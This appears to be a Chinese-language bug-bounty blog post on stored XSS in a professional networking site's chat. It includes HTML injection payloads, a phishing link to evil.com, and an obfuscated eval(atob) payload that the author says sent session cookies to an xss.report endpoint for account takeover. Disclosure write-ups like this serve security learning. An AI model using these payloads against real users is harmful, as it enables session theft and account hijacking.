💥 从无害消息到完全控制：我是如何攻破专业社交网络的！💻🔓

让我带你踏上一段激动人心的旅程，讲述我如何在一个类似LinkedIn的专业社交平台上发现了一个巨大的安全漏洞，并将无害的聊天消息转变为毁灭性的账户劫持攻击！😱

🤔 发现：机会的一瞥

我偶然发现了redacted.com，这是社交网络领域的一家知名大公司。它提供了以下功能：

创建专业个人资料
发布更新
与他人建立联系
令人惊讶的是，可以向任何人发送消息，即使你们没有建立联系！

这与LinkedIn不同，后者限制消息发送，除非你们已建立联系或是高级会员。我的黑客直觉被触动了！这个“开放”的消息系统是否存在漏洞？是时候找出答案了！😏

🔍 搭建舞台：两个账户，一个实验

为了测试，我创建了两个账户：

账户1（攻击者）：我的黑客角色。
账户2（受害者）：我的实验目标。

我开始通过从账户1向账户2发送基本的HTML payload来测试平台的聊天系统。以下是一些示例：

图片注入

1

<img src="https://example.com/hacker.jpg">

钓鱼链接

1

<a href="https://evil.com" style="color: red; font-size: 20px;">点击这里赢取25美元！</a>

Iframe注入

1

"><iframe src="https://www.cia.gov" style="border:0; width:100%; height:100%;"></iframe>

结果？🎉 一切正常！平台未经清理就渲染了我的原始HTML payload。这非常关键，因为它意味着系统没有针对恶意输入进行保护。

🔥 升级：聊天系统中的存储型XSS

接下来，我决定测试存储型XSS。存储型XSS发生在恶意脚本被保存在服务器上，并在用户与易受攻击的页面交互时执行。

这是我尝试的payload：

1

<img src/onerror=prompt(document.cookie)>

以下是发生的情况：

当账户2打开聊天时，payload执行，触发了一个显示受害者cookie的弹窗。🍪
即使是账户1（发送者）在重新访问聊天时也会看到XSS弹窗。

这证实了聊天系统中存在存储型XSS漏洞。但我不会就此止步。真正的目标？完全控制账户。

💣 大爆炸：利用盲XSS实现账户劫持

我设计了一个盲XSS payload来升级攻击。这个payload会窃取受害者的会话cookie，并将其发送到我的服务器进行利用。以下是我使用的payload：

1

"><img src=x id=dmFyIGE9ZG9jdW1k7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2xvcmRvZmhlYXZlbjEyMzQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>

攻击过程如下：

我通过聊天从账户1向账户2发送了payload。
当账户2打开聊天时，payload在他们的浏览器中执行。
payload将账户2的会话cookie发送到我在xss.report上的端点。
使用这些cookie，我无需账户2的凭据就登录了他们的账户。

BOOM！💥 账户劫持成功。

😨 实际影响

这个漏洞是灾难性的。攻击者可以：

通过简单地发送恶意聊天消息来劫持任何用户的账户。
自动化攻击，在几分钟内危害数千个账户。

像redacted.com这样的平台受到专业人士的信任，这样的漏洞可能会严重损害他们的声誉。

📧 报告漏洞

我在六个多月前发现并向redacted.com报告了这个漏洞。我甚至通过电子邮件进行了跟进。不幸的是，我从未收到任何回复。

作为一名漏洞赏金猎人，我重视那些认真对待安全的平台。然而，这里的缺乏行动让我感到失望。我决定通过这篇文章分享我的发现，以帮助社区学习，并强调及时解决安全问题的重要性。

🌟 最后思考

这是我的第一篇Medium文章，希望你觉得有见地！🙌

发现和利用这样的漏洞提醒我们，小小的疏忽可能导致重大的安全风险。在评论中告诉我你的想法，并分享你遇到的任何类似经历！

我很想听到你的反馈，尤其是因为这是我的第一篇文章！😊